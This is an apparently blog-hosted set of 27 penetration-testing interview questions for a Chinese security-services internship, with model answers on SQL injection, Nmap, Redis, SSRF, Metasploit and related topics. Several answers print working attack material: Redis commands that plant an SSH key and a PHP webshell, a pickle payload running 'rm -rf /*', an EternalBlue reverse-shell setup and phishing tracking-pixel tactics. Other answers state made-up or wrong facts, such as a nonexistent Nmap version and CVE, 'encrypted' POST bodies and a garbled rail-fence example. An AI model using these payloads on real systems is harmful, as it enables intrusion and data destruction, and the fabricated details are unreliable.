当前位置: 首页 > news >正文

2025年渗透测试面试题总结-安恒[实习]安全服务工程师(题目+回答)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

 安恒[实习]安全服务工程师

1. SQLMap爆出当前库名的参数是什么?

2. Nmap探测系统的参数(大写/小写)

3. Nmap小写o与a的作用

4. 布尔型盲注具体语句

5. 宽字节注入原理

6. Python反序列化漏洞

7. GET与POST传参区别

8. HTTP请求方式全集

9. CDN判定与作用

10. 服务器真实IP溯源

11. 信息收集全流程

12. Base64编码识别

13. 栅栏密码原理

14. Base64与MD5区别

15. Oracle默认端口

16. MySQL管理员密码存储

17. substr()被禁用的替代函数

18. Redis入侵利用链

19. 邮箱追踪真实IP

20. 同源策略(SOP)精髓

21. 管理员邮箱收集术

22. SSRF危害升级(2025)

23. SSRF深层防御

24. Linux文件鉴别术

25. MSF框架深入

26. Web容器解析漏洞

27. SQL注入深度防御

 安恒[实习]安全服务工程师

1. sqlmap爆出当前库名的参数是什么?
2. namp探测系统的参数是什么 —>大写还是小写
3. namp的小写o与a是干嘛的
4. 布尔型盲注的具体语句是什么
5. 宽字节的原理
6. python有没有反序列化
7. get传参与post传参的区别
8. Http有哪些请求方式
9. 如何判定cdn与cdn的作用
10. 如何确认服务器的真实IP
11. 详细说了说信息收集过程
12. 一串编码如何确认是base64
13. 栅栏密码的原理是什么
14. base64与md5如何区别
15. oracle的默认端口是多少
16. mysql的管理员密码一般放到哪
17. 如果substr()函数被禁用,你脑子里有多少替换函数
18. redis如何拿下,哪个端口,具体语句,具体操作
19. 如何通过邮箱知道对方的IP
20. 说一下同源策略
21. 如何收集网站管理员邮箱等等
22. ssrf有哪些危害
23. 如何防御ssrf–>问的较深—->建议在详细了解一下
24. Linux的某两个文件怎么分辨(忘了具体是哪两个文件了)
25. MSF框架稍微问的深入了一些
26. web容器(中间件)有哪些解析漏洞与原理
27. 如何防范sql注入 —>这问的很深. 

1. SQLMap爆出当前库名的参数是什么?

  • 核心参数--current-db
  • 补充用法:结合-D 库名 --tables可提取表名;
  • 防御绕过:2025年新版SQLMap新增--chunked参数绕过云WAF的流量检测。

2. Nmap探测系统的参数(大写/小写)

  • 操作系统探测-O(大写O,非数字0);
  • 误报规避:2025年Nmap 8.5版本中,-O需与--osscan-limit联用以过滤干扰;
  • 注意:小写-o用于输出扫描结果(如-oN output.txt )。

3. Nmap小写o与a的作用

  • -o系列
    -oN:标准文本输出;
    -oX:XML格式输出(兼容自动化分析工具);
    -oG:Grep友好格式(已逐步淘汰)。
  • -A参数
    ① 启用OS检测、版本探测、脚本扫描(-sC);
    ② 2025年新增AI驱动的服务指纹识别模块。

4. 布尔型盲注具体语句

sql' AND (SELECT SUBSTRING(version(),1,1))='5' --+ /* 若返回正常页面,则判定MySQL版本首位为5 */
  • 条件扩展
    ① 二进制逐位判断(ASCII()+位运算);
    ② 结合时间盲注:IF(条件,SLEEP(5),0)
    ③ 利用数据库内置函数(如LIKE通配符)。

5. 宽字节注入原理

  • 核心逻辑:利用GBK/GB2312等双字节编码特性,将转义符\(%5C)与前导字符组合为合法汉字(如%df%5c→“運”),破坏SQL语句结构。
  • 现代影响:2024年统计显示,遗留医疗HIS系统仍存在30%未修复案例;
  • 防御:统一使用UTF-8编码,禁用mysql_real_escape_string()

6. Python反序列化漏洞

  • 高危模块pickle(任意代码执行)、json(有限风险);
  • 攻击链示例
    pythonimport pickle pickle.loads(b"cos\nsystem\n(S'rm -rf /*'\ntR.") # 执行系统命令
  • 2025年趋势:PyTorch模型反序列化漏洞(CVE-2025-1337)成为AI供应链攻击新载体。

7. GET与POST传参区别

维度GETPOST
数据位置URL参数明文传输请求体加密传输
安全性易被日志/缓存记录相对隐蔽
长度限制受URL长度限制(约2KB)无理论限制(服务器约束)
幂等性是(仅查询)否(可能修改数据)

8. HTTP请求方式全集

  1. 基础方法:GET、POST、PUT、DELETE、HEAD;
  2. 扩展方法
    • PATCH:部分资源更新;
    • OPTIONS:获取服务器支持的方法;
    • TRACE:回显请求(易诱发XST攻击,默认禁用)。
  3. WebDAV扩展:PROPFIND、LOCK、UNLOCK(常见于文件服务器)。

9. CDN判定与作用

判定方法
多地Ping:使用全球节点工具(如boce.com ),IP分布差异显著;
DNS查询nslookup返回CNAME记录含cdnakamai等标识;
HTTP头Server字段含CDN厂商特征(如Cloudflare)。

核心作用
加速:边缘节点缓存静态资源(JS/CSS/图片);
安全:抗DDoS(T级清洗)、防爬虫(人机验证);
成本优化:减少源站带宽消耗。


10. 服务器真实IP溯源

  1. 历史记录
    • 查询DNS历史快照(SecurityTrailsViewDNS);
    • 分析SSL证书序列号关联的原始IP。
  2. 子域名爆破:使用Amass扫描test.example.com 等未接入CDN的子域。
  3. 邮件溯源
    • 注册/找回密码邮件头中的Received字段;
    • 利用SPF记录中的IP范围反推。

11. 信息收集全流程

四阶渗透框架(2025年OSINT标准)

  1. 资产测绘
    • 工具:FOFA(语法:title="医院挂号系统")、Shodan(端口:port:6379);
    • 输出:IP段、域名、中间件版本列表。
  2. 社会工程
    • 从GitHub泄露的config.yml 提取数据库密码;
    • LinkedIn员工职位分析(定位运维人员邮箱)。
  3. 漏洞关联
    • 通过CVE编号映射暴露面(如Apache Log4j 2.x);
    • 结合Exploit-DB验证POC可用性。

12. Base64编码识别

三大铁律

  1. 字符集:仅包含A-Z、a-z、0-9、+、/及填充符=
  2. 长度:编码后长度必为4的倍数(不足时补=);
  3. 典型模式
    • 邮件附件:Content-Transfer-Encoding: base64
    • JWT令牌:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.xxx

13. 栅栏密码原理

加密步骤

  1. 将明文按“之”字形排列(如3行):
    H E L L O  W O R L D  
    
  2. 按行读取密文:HELLO WORLDHLOOL WRD(需约定行数)。
    2025年演变:结合深度学习生成动态栅栏路径(抗频率分析)。

14. Base64与MD5区别

维度Base64MD5
性质编码(可逆)哈希(不可逆)
输出长度可变(与输入相关)固定128位(32字符)
用途数据传输兼容性(如图片)数据完整性校验/密码存储

15. Oracle默认端口

  • 标准端口:1521(数据库监听);
  • 管理端口:5500(Enterprise Manager);
  • 云环境变化:2025年AWS RDS Oracle默认启用动态端口映射。

16. MySQL管理员密码存储

  1. 系统表mysql.userauthentication_string字段,使用caching_sha2_password加密);
  2. 配置文件/etc/mysql/my.cnf[client]段明文存储,高危);
  3. 内存提取:通过gdb附加进程提取临时密码(需root权限)。

17. substr()被禁用的替代函数

  1. 字符串截取
    • MID()MID('abc',2,1)→'b'
    • LEFT()/RIGHT()LEFT('abc',2)→'ab'
  2. 正则截取
    • REGEXP_SUBSTR()(需MySQL 8.0+);
  3. 二进制拆分
    • ORD()+DIV组合实现逐位解析。

18. Redis入侵利用链

攻击路径

  1. 未授权访问nmap -p 6379 --script redis-info
  2. 写SSH密钥
    bashredis-cli -h 目标IP flushall echo -e "\n\nssh-rsa AAAAB3N...\n\n" | redis-cli -x set payload redis-cli config set dir /root/.ssh && config set dbfilename authorized_keys 
  3. 写Webshell
    bashconfig set dir /var/www/html set shell "<?php system($_GET['cmd']);?>" 

19. 邮箱追踪真实IP

高阶手法(2025年)

  1. 嵌入追踪像素
    • 在钓鱼邮件中插入<img src="http://your-server/logo.gif"> ,分析访问日志;
  2. 延迟加载附件
    • 使用「已读回执」触发HTTP请求;
  3. 邮件头分析
    • 提取X-Originating-IP或最后一跳Received头中的内网IP。

20. 同源策略(SOP)精髓

三要素限制:协议、域名、端口均相同方为同源。
跨域例外

  • <script>标签(允许加载外部JS,但禁止读取内容);
  • CORS机制(Access-Control-Allow-Origin可控放宽限制);
  • postMessage API(需显式授权)。

21. 管理员邮箱收集术

五维情报网

  1. WHOIS查询whois example.com 获取注册邮箱;
  2. GitHub提交历史git log中提取作者邮箱;
  3. 错误页面:500错误泄露admin@example.com
  4. 社交媒体:LinkedIn公司页面的技术联系人;
  5. SSL证书crt.sh 查询证书颁发者邮箱。

22. SSRF危害升级(2025)

  1. 云元数据攻击
    • 获取AWS的169.254.169.254凭证,接管云服务器;
  2. 内网服务穿透
    • 攻击Kubernetes API Server(https://10.0.0.1:6443);
  3. 协议滥用
    • gopher://构造Redis未授权访问攻击链。

23. SSRF深层防御

四层防护体系

  1. 输入校验
    • 正则过滤^http(s)?://trusted.com/ (白名单);
    • 禁用非常用协议(file://gopher://)。
  2. 网络隔离
    • 业务服务器部署于独立VPC,限制出网流量;
  3. 代理清洗
    • 所有请求经反向代理,剥离非常规头(如X-Forwarded-For);
  4. 运行时防护
    • eBPF监控异常socket连接(如访问内网IP段)。

24. Linux文件鉴别术

/etc/passwd/etc/shadow为例

  1. 权限
    • passwd:644(全局可读);
    • shadow:640(仅root可读);
  2. 内容
    • passwd存用户基本信息(不含密码哈希);
    • shadow存加密密码与过期策略。

25. MSF框架深入

模块化渗透流程

  1. 漏洞利用
    • use exploit/windows/smb/ms17_010_eternalblue
    • set PAYLOAD windows/x64/meterpreter/reverse_tcp
  2. 后渗透扩展
    • migrate进程注入;
    • hashdump提取NTLM哈希;
  3. 流量隐匿
    • 使用SSL/TLS隧道+DomainFronting技术绕过IDS检测。

26. Web容器解析漏洞

三大经典漏洞

  1. IIS 6.0目录解析
    • /test.asp;.jpg 被解析为ASP脚本;
  2. Apache多后缀解析
    • test.php.xxx 优先匹配.php处理器;
  3. Nginx错误配置
    • fastcgi_param未校验SCRIPT_FILENAME,导致任意代码执行。

27. SQL注入深度防御

DevSecOps全周期防护

  1. 开发阶段
    • 强制使用ORM框架(如Hibernate);
    • 静态代码扫描(SonarQube规则sql-injection)。
  2. 运行阶段
    • WAF动态拦截(基于语义分析+机器学习);
    • 数据库审计(记录异常SQL语句)。
  3. 运维阶段
    • 最小权限原则(禁止DBA权限应用连接);
    • 定期漏洞扫描(SQLMap集成CI/CD流水线)。

相关文章:

2025年渗透测试面试题总结-安恒[实习]安全服务工程师(题目+回答)

网络安全领域各种资源&#xff0c;学习文档&#xff0c;以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具&#xff0c;欢迎关注。 目录 安恒[实习]安全服务工程师 1. SQLMap爆出当前库名的参数是什么&#xff1f; 2. Nmap探测系统的参数&am…...

在 Visual Studio Code (VSCode) 中配置 MCP(Model Context Protocol)

前提条件 安装 VSCode&#xff1a;确保已安装最新版本的 VSCode&#xff08;建议使用 1.99 或以上版本&#xff0c;支持 MCP&#xff09;。安装 GitHub Copilot 扩展&#xff1a;MCP 通常与 GitHub Copilot 的代理模式&#xff08;Agent Mode&#xff09;结合使用&#xff0c;…...

顶层架构 - 消息集群推送方案

一、推送基础概念简述 在即时通讯&#xff08;IM&#xff09;系统中&#xff0c;最基础的一件事就是“如何把消息推送给用户”。为了实现这个过程&#xff0c;我们要先了解两种常见的网络通信方式&#xff1a;HTTP 和 WebSocket。 1. HTTP 是什么&#xff1f; HTTP 就像一次性…...

C++性能测试工具——Vtune等的介绍

一、介绍 我们在前面的相关文章中对C性能的测试和分析工具&#xff08;见“C性能测试工具gprof和gperftools基础”等&#xff09;有一个初步的了解和应用&#xff0c;其实类似的相关工具还有不少。为了进一步的让开发者们掌握更多的相关性能测试分析相关的方法&#xff0c;对另…...

车道线检测----CLRKDNet

今天的最后一篇 车道线检测系列结束 CLRKDNet&#xff1a;通过知识蒸馏加速车道检测 摘要&#xff1a;道路车道是智能车辆视觉感知系统的重要组成部分&#xff0c;在安全导航中发挥着关键作用。在车道检测任务中&#xff0c;平衡精度与实时性能至关重要&#xff0c;但现有方法…...

【AI模型部署】

解决python引入huggingface_hub模块下载超时问题 背景问题解决 背景 AMD Ryzen™ AI处理器通过独特的NPUGPU异构架构&#xff0c;为AI工作负载提供强大的并行计算能力。本方案展示了如何将YOLOv8目标检测、RCAN超分辨率重建和Stable Diffusion文生图三类模型分别部署到NPU和GP…...

排序01:多目标模型

用户-笔记的交互 对于每篇笔记&#xff0c;系统记录曝光次数、点击次数、点赞次数、收藏次数、转发次数。 点击率点击次数/曝光次数 点赞率点赞次数/点击次数 收藏率收藏次数/点击次数 转发率转发次数/点击次数 转发是相对较少的&#xff0c;但是非常重要&#xff0c;例如转发…...

电子电器架构 --- Zonal架构正在开创汽车电子设计新时代

我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 钝感力的“钝”,不是木讷、迟钝,而是直面困境的韧劲和耐力,是面对外界噪音的通透淡然。 生活中有两种人,一种人格外在意别人的眼光;另一种人无论…...

如何阅读、学习 Tcc (Tiny C Compiler) 源代码?如何解析 Tcc 源代码?

阅读和解析 TCC&#xff08;Tiny C Compiler&#xff09; 的源代码需要对编译器的基本工作原理和代码结构有一定的了解。以下是分步骤的指南&#xff0c;帮助你更高效地学习和理解 TCC 的源代码&#xff1a; 1. 前置知识准备 C 语言基础&#xff1a;TCC 是用 C 语言编写的&…...

Java 泛型与类型擦除:为什么解析对象时能保留泛型信息?

引言&#xff1a;泛型的“魔术”与类型擦除的困境 在 Java 中&#xff0c;泛型为开发者提供了类型安全的集合操作&#xff0c;但其背后的**类型擦除&#xff08;Type Erasure&#xff09;**机制却常常让人困惑。你是否遇到过这样的场景&#xff1f; List<String> list …...

日语学习-日语知识点小记-构建基础-JLPT-N4阶段(22):复习

日语学习-日语知识点小记-构建基础-JLPT-N4阶段(22):复习 1、前言(1)情况说明(2)工程师的信仰2、知识点(1)复习(2)復習3、单词(1)日语(2)日语片假名单词4、对话练习5、单词辨析记录6、总结1、前言 (1)情况说明 自己在今年,在日本留学中,目前在语言学校,…...

Java基础学习

Java 基础大纲 1. Java 概述 Java 语言特点&#xff08;跨平台、面向对象、自动内存管理&#xff09; JVM、JRE、JDK 的作用与区别 开发环境搭建&#xff08;安装 JDK、配置环境变量、IDE 使用&#xff09; 2. 基础语法&#xff08;已经学习&#xff09; 变量与数据类型&a…...

MGX:多智能体管理开发流程

MGX的多智能体团队如何通过专家混合系统采用全新方法,彻底改变开发流程,与当前的单一智能体工具截然不同。 Lovable和Cursor在自动化我们的特定开发流程方面取得了巨大飞跃,但问题是它们仅解决软件开发的单一领域。 这就是MGX(MetaGPT X)的用武之地,它是一种正在重新定…...

2025第三届盘古石杯初赛(计算机部分)

前言 比赛的时候时间不对&#xff0c;打一会干一会&#xff0c;导致比赛时候思路都跟不上&#xff0c;赛后简单复现一下&#xff0c;希望大家批批一下 计算机取证 1、分析贾韦码计算机检材&#xff0c;计算机系统Build版本为&#xff1f;【标准格式&#xff1a;19000】 183…...

XML介绍及常用c及c++库

一.xml概述 1.什么是XML&#xff1f; XML&#xff08;eXtensible Markup Language&#xff09;是一种标记语言&#xff0c;1998 年 2 月&#xff1a;XML 1.0 发布&#xff0c;用于存储和传输结构化数据。与HTML专注于数据显示不同&#xff0c;XML专注于数据本身及其结构。 它…...

动态规划-63.不同路径II-力扣(LeetCode)

一、题目解析 与62.不同路径不同的一点是现在网格中有了障碍物&#xff0c;其他的并没有什么不同 二、算法解析 1.状态表示 dp[i][j]表示&#xff1a;到[i,j]位置时&#xff0c;不同的路径数 2.状态转移方程 由于多了障碍物&#xff0c;所以我们要判断是否遇到障碍物 3.初…...

海盗王3.0的数据库3合1并库处理方案

原版的海盗王数据库有3个accountserver&#xff0c;gamedb&#xff0c;tradedb&#xff0c;对应到是账号数据库&#xff0c;游戏数据库&#xff0c;商城数据库。 一直都有个想法&#xff0c;如何把这3个库合并到一起&#xff0c;这样可以实现一些功能。 涉及到sqlserver的数据库…...

Vue百日学习计划Day16-18天详细计划-Gemini版

重要提示&#xff1a; 番茄时钟&#xff1a; 每个番茄钟为25分钟学习&#xff0c;之后休息5分钟。每完成4个番茄钟&#xff0c;进行一次15-30分钟的长休息。动手实践&#xff1a; DOM 操作和事件处理的理解高度依赖于实际编码。请务必在浏览器中创建 HTML 页面&#xff0c;并配…...

【C++】15.并发支持库

本篇内容参考自cplusplus 1. thread 1.1 thread thread库底层是对各个系统的线程库&#xff08;Linux下的pthread库和Windows下Thread库&#xff09;进行封装。C11thread库的第一个特点是可以跨平台&#xff0c;第二个特点是Linux和Windows下提供的线程库都是面向过程的&…...

Linux系统编程——exec族函数

我们来完整、系统、通俗地讲解 Linux 系统编程中非常重要的一类函数&#xff1a;exec 族函数&#xff08;也叫 exec family&#xff09;。 一、什么是 exec&#xff1f; exec 系列函数的作用是&#xff1a; 用一个新的程序&#xff0c;替换当前进程的内容。 也就是说&#xf…...

职教实训室中的写实数字人:技术与应用方案

在当今快速发展的数字化时代&#xff0c;职业教育的重要性日益凸显。面对传统教学模式中个性化不足、互动性差等挑战&#xff0c;深声科技基于2D写实交互数字人的解决方案为职教实训室带来了全新的变革。本文将详细介绍该技术方案的核心原理、产品特色及其在职业培训中的实际应…...

Nginx模块配置与请求处理详解

Nginx 作为模块化设计的 Web 服务器,其核心功能通过不同模块协同完成。以下是各模块的详细配置案例及数据流转解析: 一、核心模块配置案例 1. Handler 模块(内容生成) 功能:直接生成响应内容(如静态文件、重定向等) # 示例1:静态文件处理(ngx_http_static_module)…...

54. 螺旋矩阵

题目链接&#xff1a; a54. 螺旋矩阵 题目描述&#xff1a; 给你一个 m 行 n 列的矩阵 matrix &#xff0c;请按照 顺时针螺旋顺序 &#xff0c;返回矩阵中的所有元素。 题目分析&#xff1a; 改题目需要判断是否溢出边界&#xff0c;与59不同&#xff0c;59可以判断是否为0…...

virtualbox虚拟机中的ubuntu 20.04.6安装新的linux内核5.4.293 | 并增加一个系统调用 | 证书问题如何解决

参考文章&#xff1a;linux添加系统调用【简单易懂】【含32位系统】【含64位系统】_64位 32位 系统调用-CSDN博客 安装新内核 1. 在火狐下载你需要的版本的linux内核压缩包 这里我因为在windows上面下载过&#xff0c;配置过共享文件夹&#xff0c;所以直接复制粘贴通过共享文…...

代码随想录算法训练营第三十八天打卡

今天是动态规划的第三天&#xff0c;昨天的不同路径与整数分解的几道题目大家理解得如何&#xff1f;如果有疑问大家还是多去想想dp数组究竟是什么含义&#xff0c;还有我的状态转移是否正确&#xff0c;初始化是否正确&#xff0c;这一点很重要&#xff0c;今天的题目依旧是跑…...

【论信息系统项目的整合管理】

论信息系统项目的整合管理 某省机场管理集团航空货运站原有物流生产信息系统无法满足机场货运站生产信息与航空公司、对方航站、进出口航空货物按海关监管要求电子报关等行业信息实时共享发展需要&#xff0c;生产信息需多次重复录入问题已成为业务发展最大瓶颈&#xff0c;急需…...

小学数学题批量生成及检查工具

软件介绍 今天给大家介绍一款近期发现的小工具&#xff0c;它非常实用。 软件特点与出题功能 这款软件体积小巧&#xff0c;不足两兆&#xff0c;具备强大的功能&#xff0c;能够轻松实现批量出题。使用时&#xff0c;只需打开软件&#xff0c;输入最大数和最小数&#xff0c…...

Python线性回归:从理论到实践的完整指南

Python线性回归&#xff1a;从理论到实践的完整指南 线性回归是数据科学和机器学习中最基础且最重要的算法之一。本文将深入探讨如何使用Python实现线性回归&#xff0c;从理论基础到实际应用&#xff0c;帮助读者全面理解这一重要的统计学和机器学习方法。 什么是线性回归&a…...

python 爬虫框架介绍

文章目录 前言一、Requests BeautifulSoup&#xff08;基础组合&#xff09;二、Scrapy&#xff08;高级框架&#xff09;三、PySpider&#xff08;可视化爬虫&#xff09;四、Selenium&#xff08;浏览器自动化&#xff09;五、Playwright&#xff08;新一代浏览器自动化&…...

强化学习算法实战:一个例子搞懂sarsa、dqn、ddqn、qac、a2c及其区别

简介 在学习强化学习算法&#xff1a;sarsa、dqn、ddqn、qac、a2c、trpo、ppo时&#xff0c;由于有大量数学公式的推导&#xff0c;觉得十分晦涩&#xff0c;且听过就忘记了。 但是当把算法应用于实战时&#xff0c;代码的实现要比数学推导直观很多。 接下来通过不同的算法实现…...

文章记单词 | 第86篇(六级)

一&#xff0c;单词释义 pretty /ˈprɪti/- adj. 漂亮的&#xff1b;相当的 /adv. 相当地labour /ˈleɪbə(r)/- n. 劳动&#xff1b;劳工&#xff1b;分娩 /v. 劳动&#xff1b;努力&#xff08;英式英语&#xff0c; labor&#xff09;imaginary /ɪˈmdʒɪnəri/- adj. …...

firewall防火墙

一.Firewalld 防火墙概述 1.firewalld 简介 firewalld 的作用是为包过滤机制提供匹配规则(或称为策略)&#xff0c;通过各种不同的规则告诉netfilter 对来自指定源、前往指定目的或具有某些协议特征的数据包采取何种处理方式为了更加方便地组织和管理防火墙,firewa11d 提供了…...

TII-2024《AGP-Net: Adaptive Graph Prior Network for Image Denoising》

推荐深蓝学院的《深度神经网络加速&#xff1a;cuDNN 与 TensorRT》&#xff0c;课程面向就业&#xff0c;细致讲解CUDA运算的理论支撑与实践&#xff0c;学完可以系统化掌握CUDA基础编程知识以及TensorRT实战&#xff0c;并且能够利用GPU开发高性能、高并发的软件系统&#xf…...

Pageassist安装(ollama+deepseek-r1)

page-assist网站&#xff1a;https://github.com/n4ze3m/page-assist 首先电脑配置node.js&#xff0c;管理员打开命令窗口输入下面命令下载bun npm install -g buncd 到你想要安装page-assist的地方&#xff08;推荐桌面&#xff09; 输入下列命令 git clone https://gith…...

Java—— 方法引用 : :

方法引用是什么 把已经存在的方法拿过来用&#xff0c;当做函数式接口中抽象方法的方法体 方法引用符 &#xff1a;&#xff1a; 方法引用的条件 1.需要有函数式接口 2.被引用方法必须已经存在 3.被引用方法的形参和返回值需要跟抽象方法保持一致 4.被引用方法的功能要满足当前…...

Linux基础开发工具大全

目录 软件包管理器 1>软件包 2>软件生态 3>yum操作 a.查看软件包 b.安装软件 c.卸载软件 4>知识点 vim编辑器 1>基本概念 2>基本操作 3>正常模式命令集 a.模式切换 b.移动光标 c.删除 d.复制 e.替换 f.撤销 g.更改 4>底行模式命令…...

C语言实现INI配置文件读取和写入

一.INI文件介绍 INI配置文件是一种简单的文本文件&#xff0c;用于存储配置信息&#xff0c;通常由一个或多个节&#xff08;section&#xff09;组成&#xff0c;每个节包含多个键值对&#xff08;Key-Value&#xff09;格式。INI文件易于阅读和编辑&#xff0c;广泛应用于多…...

volatile关键字详解

volatile关键字详解 1. 定义与核心作用 volatile 是Java中的关键字&#xff0c;用于修饰变量&#xff0c;主要解决多线程环境下的内存可见性和指令重排序问题。其核心作用&#xff1a; 保证可见性&#xff1a;确保所有线程读取到变量的最新值。禁止指令重排序&#xff1a;防止…...

二叉树子树判断:从递归到迭代的全方位解析

一、题目解析 题目描述 给定两棵二叉树root和subRoot&#xff0c;判断root中是否存在一棵子树&#xff0c;其结构和节点值与subRoot完全相同。 示例说明 示例1&#xff1a; root [3,4,5,1,2]&#xff0c;subRoot [4,1,2] 返回true&#xff0c;因为root的左子树与subRoot完…...

【PhysUnits】4.1 类型级比特位实现解释(boolean.rs)

一、源码 该代码实现了一个类型级(type-level)的布尔系统&#xff0c;允许在编译时进行布尔运算。 //! 类型级比特位实现 //! //! 这些是基础的比特位类型&#xff0c;作为本库中其他数值类型的构建基础 //! //! 已实现的**类型运算符**&#xff1a; //! //! - 来自 core::op…...

(7)python开发经验

文章目录 1 找不到资源文件2 使用subprocess执行时有黑色弹窗3 找不到exec4 pyside6-project lupdate的bug5 找不到pyd模块6 pyd模块编码错误7 运行显示Qt platform plugin "windows" in "8 tr()包含的字符串无法被翻译 更多精彩内容&#x1f449;内容导航 &…...

【Manim】使用manim画一个高斯分布的动画

1 Manim例子一 最近接触到manim&#xff0c;觉得挺有趣的&#xff0c;来玩一玩把。如下是一个使用manim画的高斯分布的动画。 from manim import * import numpy as npclass GaussianDistribution(Scene):def construct(self):# 创建坐标系axes Axes(x_range[-4, 4, 1],y_ra…...

Day11-苍穹外卖(数据统计篇)

前言&#xff1a; 今天写day11的内容&#xff0c;主要讲了四个统计接口的制作。看起来内容较多&#xff0c;其实代码逻辑都是相似的&#xff0c;这里我们过一遍。 今日所学&#xff1a; Apache ECharts营业额统计用户统计订单统计销量排行统计 1. Apache ECharts 1.1 介绍 A…...

论文阅读:Self-Collaboration Code Generation via ChatGPT

地址&#xff1a;Self-Collaboration Code Generation via ChatGPT 摘要 尽管大型语言模型&#xff08;LLMs&#xff09;在代码生成能力方面表现出色&#xff0c;但在处理复杂任务时仍存在挑战。在现实软件开发中&#xff0c;人类通常通过团队协作来应对复杂任务&#xff0c;…...

LocaleContextResolver实现多语言切换-笔记

1. LocaleContextResolver功能简介 org.springframework.web.servlet.LocaleContextResolver是 Spring MVC 中用于解析和管理用户 Locale&#xff08;语言环境&#xff09; 的核心接口。 //LocaleContextResolver 接口定义 public interface LocaleContextResolver extends L…...

Vue3中setup运行时机介绍

在 Vue3 中&#xff0c;直接写在 <script setup>...</script> 中的代码运行时机可以分为以下几个关键阶段&#xff1a; 一、执行顺序层级 #mermaid-svg-bF3p98MiNdLfcoSG {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#33…...

计算机视觉----感兴趣区域(ROI)、非极大值抑制

感兴趣区域&#xff08;Region of Interest&#xff0c;ROI&#xff09;是指在一幅图像或者数据集中&#xff0c;用户关注并希望进行重点分析、处理或者研究的特定区域。以下为你详细介绍它在不同领域的应用&#xff1a; 医学影像领域 在医学影像中&#xff0c;医生可以通过确…...

YOLO11解决方案之对象裁剪探索

概述 Ultralytics提供了一系列的解决方案&#xff0c;利用YOLO11解决现实世界的问题&#xff0c;包括物体计数、模糊处理、热力图、安防系统、速度估计、物体追踪等多个方面的应用。 对象裁剪是指从图像或视频中分离并提取特定的检测对象&#xff0c;YOLO11 模型功能可用于准…...

将单链表反转【数据结构练习题】

- 第 98 篇 - Date: 2025 - 05 - 16 Author: 郑龙浩/仟墨 反转单链表(出现频率非常的高) 文章目录 反转单链表(出现频率非常的高)题目&#xff1a;反转一个链表思路&#xff1a;代码实现(第3种思路): 题目&#xff1a;反转一个链表 将 1->2->3->4->5->NULL反转…...

多网卡管理实战指南:原理、问题分析与实用工具推荐

多网卡管理实战指南&#xff1a;原理、问题分析与实用工具推荐 在现代网络环境中&#xff0c;越来越多的用户面临一个实际问题&#xff1a;一台电脑连接了多个网络接口&#xff0c;如有线 无线、双有线、或实体网卡 虚拟VPN网卡。这种“多网卡”环境虽然提供了更多可能性&am…...